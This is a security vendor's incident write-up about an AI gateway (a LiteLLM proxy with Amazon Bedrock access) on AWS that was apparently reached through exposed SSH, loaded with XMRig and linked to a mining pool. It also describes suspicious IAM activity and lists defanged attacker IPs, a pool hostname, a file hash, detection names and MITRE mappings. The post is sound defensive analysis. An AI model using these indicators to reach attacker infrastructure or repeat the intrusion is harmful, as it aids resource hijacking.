References

[1] https://www.cyber.gov.au/business-government/secure-design/artificial-intelligence/careful-adoption-of-agentic-ai-services  

[2]https://www.latimes.com/business/story/2026-02-26/hacker-used-anthropics-claude-ai-to-steal-mexican-government-data

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

Blog

/

AI

/

July 9, 2026

When AI Infrastructure Becomes Part of the Attack Surface

ai infrastructure cybersecurityDefault blog imageDefault blog image

AI Infrastructure and the Evolving Attack Surface

As organizations deploy generative AI into production environments, a new layer of infrastructure has emerged inside enterprise cloud environments: AI gateways.

What is an AI gateway?

AI gateways are systems that sit between users, applications, and foundation models, often holding privileged cloud permissions and managing access to AI services at scale.

Because of that role, AI gateways are becoming an increasingly important part of the enterprise attack surface. A compromise may provide attackers with access not only to compute resources, but also to cloud identities, model services, sensitive prompts, and other connected systems.

This blog examines how Darktrace investigated a compromised AI gateway connected to Amazon Bedrock services that was subsequently observed communicating with cryptomining infrastructure. Based on its configuration and associated Identity and Access Management (IAM) role, the instance appeared to function as a gateway to Amazon Bedrock-hosted AI services. Following suspected compromise activity, the host was observed communicating repeatedly with known cryptomining infrastructure before subsequently being shut down. Darktrace detected and escalated the activity through its Enhanced Monitoring and Managed Threat Detection services.

While the ultimate impact in this case appeared to be unauthorized cryptomining, the incident is notable because of where it occurred. The compromised asset sat at the intersection of cloud infrastructure, identity, and AI services. Recent research has highlighted how AI gateways such as LiteLLM can become attractive targets due to their ability to centralize credentials, model access, and cloud permissions. Although Darktrace found no evidence linking this activity directly to publicly disclosed LiteLLM vulnerabilities, the incident demonstrates why organizations should treat AI infrastructure as part of their critical attack surface rather than as a standalone application tier [1].

Why cryptomining remains a common cloud post-compromise activity

Cryptomining can be a lucrative post-compromise activity in cloud environments. After gaining access to a cloud asset, attackers may deploy mining software to abuse the victim’s compute resources for financial gain. This type of activity is likely to be opportunistic, targeting exposed services, weak credentials, leaked access keys, vulnerable applications, or misconfigured cloud workloads.

A typical cloud cryptomining intrusion may involve:

  • Identifying exposed or vulnerable cloud infrastructure
  • Gaining access through exposed services, credentials, or application weaknesses
  • Downloading and executing mining software
  • Establishing repeated outbound connectivity to mining pool infrastructure
  • Continuing to consume compute resources until the activity is detected and disrupted

The notable element in this case is not the cryptomining alone, but where it occurred: on cloud infrastructure supporting AI-related activity. This shows how assets used to enable AI services can still be exposed to familiar cloud compromise risks.

Investigating a compromised AI gateway connected to Amazon Bedrock

On June 12, 2026, Darktrace observed activity consistent with active cryptomining from an Amazon Web Service (AWS) EC2 instance named LiteLLM-Proxy. The instance appeared to support LiteLLM activity and was associated with an instance profile that had access to Amazon Bedrock resources.

AI gateways are designed to centralize access to large language models, often handling authentication, routing, logging, and policy enforcement for AI applications. From a security perspective, they also aggregate cloud permissions, model access, and application workflows into a single control point. As a result, compromise of an AI gateway can have implications beyond the affected host itself.

While the exact initial access vector could not be confirmed, the activity appears to follow a sequence often seen in compromises of internet-facing systems: brute-forced access, payload delivery, and repeated outbound connectivity to mining pool infrastructure.

Stage 1: Internet-exposed SSH enabled initial access

Prior to the observed cryptomining activity, the LiteLLM-Proxy EC2 instance appeared to be externally exposed over SSH, with port 22 open to 0.0.0.0/0.

Figure 1: Darktrace’s misconfiguration alert EC2 instance allowing all inbound traffic to SSH port 22.

Prior to the cryptomining activity, Darktrace observed a large volume of inbound connection attempts to the instance over port 22 from external IP addresses, predominantly from 145.241.123[.]102, suggesting brute-force activity [2]. Many of these connections were short-lived, lasting only a few seconds, indicating scanning or failed login attempts.

Figure 2: Darktrace’s detection of unusual incoming connection attempts to the device over port 22.

The available telemetry did not confirm whether any inbound SSH connection resulted in successful authentication, preventing this activity from being confirmed as the initial access vector. However, the combination of public SSH exposure, inbound connections from external IP addresses, and subsequent miner activity suggests that SSH was a plausible access path.

Stage 2: XMRig malware downloaded to the AI gateway

Before the first observed connection to the mining pool, the EC2 instance downloaded 3.42 MB of data over an HTTP connection on port 80 to the external endpoint, 185.62.1[.]8, which appears to host a ZIP file containing XMRig crypto-mining malware [3][4]. As host-level logs were not available, Darktrace could not confirm how the miner was executed or whether the earlier SSH activity directly enabled payload delivery. However, the timing of the download, followed shortly by repeated mining pool connectivity, supported the assessment that the instance had been compromised and was being used for unauthorized compute activity.

Stage 3 – Compromised AI gateway communicates with cryptomining infrastructure

Just a few minutes later, Darktrace observed the LiteLLM-Proxy EC2 instance connecting to the hostname pool.hasvault[.]pro over HTTPs on port 443. Following the initial connection, repeated outbound connectivity to the same hostname was observed. This pattern is consistent with active cryptomining pool communication, where a compromised host communicates with mining infrastructure to receive work and submit results.

This activity triggered the Enhanced Monitoring model “Compromise / High Priority Crypto Currency Mining”, which was escalated to the customer by Darktrace’s SOC. The activity was also summarized by Darktrace’s Cyber AI Analyst, which grouped the relevant events into a single investigation narrative, helping to identify the repeated mining pool connectivity from the affected cloud asset.

Figure 3: Cyber AI Analyst’s investigation of the cryptocurrency mining activity.

The use of HTTPS over port 443 is notable because, when viewed in isolation, this traffic may not appear inherently suspicious. In this case, however, the destination, volume of connections, and lack of similar activity provided the behavioral context needed to identify the communication as suspicious.

Stage 4: Managed Threat Detection identifies active resource abuse

The cryptomining activity was received by Darktrace’s Managed Threat Detection service and reviewed by Darktrace’s SOC. Following review, the activity was escalated to the customer. This escalation provided the customer with timely notification of active resource abuse in the AWS environment.

Stage 5: Suspicious IAM activity suggests possible cloud credential misuse

Separately, on June 13, Darktrace observed suspicious activity originating from an additional IAM user.

Figure 4: Darktrace’s Advanced Search highlighting suspicious activity performed by a second IAM user.

First, the user was observed attempting the “GetSendQuota” event, an action that had not performed by the account within at least the previous three months. Additionally, the source IP address of this command appeared to be 14.176.1[.]47, geolocated in Vietnam, whereas activity for this user had mostly been seen from Amazon IP addresses. Furthermore, the AWS CLI was also observed being used for this activity, which was also unusual for the user. This was detected by the model “IaaS / Unusual Activity / Unusual AWS CLI Activity”.

Figure 5: Darktrace’s detection of the “GetSendQuota” event.

Further suspicious activity was observed from the IAM user using the long-term access key. Notably, failed “InvokeModel” and “ListFoundationModels” commands were detected, suggesting attempted interaction with Amazon Bedrock services, including model enumeration or invocation. While this may suggest relation to the LiteLLM compromise observed the previous day, there is insufficient evidence to conclusively link the two events.

The attempted “CreateUser” command was also notable because the requested username appeared low-meaning, which may indicate an attempt to establish persistence by creating a new account. This activity triggered the model “IaaS / Admin / New AWS User Account Creation”.

Figure 6: Darktrace’s detection of the “CreateUser” event.

Even without a confirmed link between the two incidents, the IAM activity remains significant. It demonstrates the importance of incorporating workload both telemetry and control-plane telemetry into cloud compromise investigations. While the EC2 cryptomining activity indicated compute resource abuse, the IAM activity suggested potential credential compromise or misuse involving long-term access keys, along with attempted cloud service abuse.

Key lessons for securing AI infrastructure

This incident was notable not because of the cryptomining activity itself, but because of where it occurred. The compromised system appeared to function as an AI gateway with access to Amazon Bedrock services, placing it at the intersection of cloud infrastructure, identity, and AI operations. As organizations deploy AI capabilities into production environments, these platforms are becoming part of the same attack surface that adversaries already target through exposed services, credential theft, and cloud misconfigurations.

While the exact intrusion path could not be confirmed, and no definitive link was established between the compromised workload and the suspicious IAM activity observed during the investigation, both events reinforce a broader reality: AI infrastructure must be secured as part of the wider cloud environment rather than treated as a separate technology stack.

In this case, the most obvious sign of compromise was communication with cryptomining infrastructure. The more important lesson is that Darktrace’s behavioral analysis revealed risk surrounding a privileged AI-enabled asset before the full scope of the incident was understood. As AI gateways increasingly concentrate cloud permissions, model access, and application workflows, defenders will need to focus less on individual alerts and more on understanding how behaviors connect across workloads, identities, and services.

Credit to Angel Arribas Lopez (Associate Principal Cyber Analyst), Nathaniel Jones (Field CISO/VP Threat Research), Emma Foulger (Global Threat Ops),  and Mark Turner (Security Researcher)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

·       Compromise / High Priority Crypto Currency Mining

·       Compromise / Monero Mining

·       Device / Internet Facing Device with High Priority Alert

·       IaaS / Unusual Activity / Unusual AWS CLI Activity

·       IaaS / Admin / New AWS User Account Creation

MITRE ATT&CK Mapping

Initial Access – External Remote Services – T1133

Initial Access – Valid Accounts – T1078

Execution – Command and Scripting Interpreter – T1059

Persistence – Create Account – T1136

Discovery – Cloud Service Discovery – T1526

Impact – Resource Hijacking – T1496

References

[1] https://docs.litellm.ai/blog/security-update-march-2026

[2] https://www.abuseipdb.com/check/145.241.123.102

[3] https://urlscan.io/search/#185.62.1.8

[4] https://www.virustotal.com/gui/file/85de36ff66fae9f4b059cbedf6d36e017ebc26c828f99f911a96e78636f21200/community

Continue reading
About the author
Angel Arribas Lopez
Associate Principal Cyber Analyst
Your data. Our AI.
Elevate your network security with Darktrace AI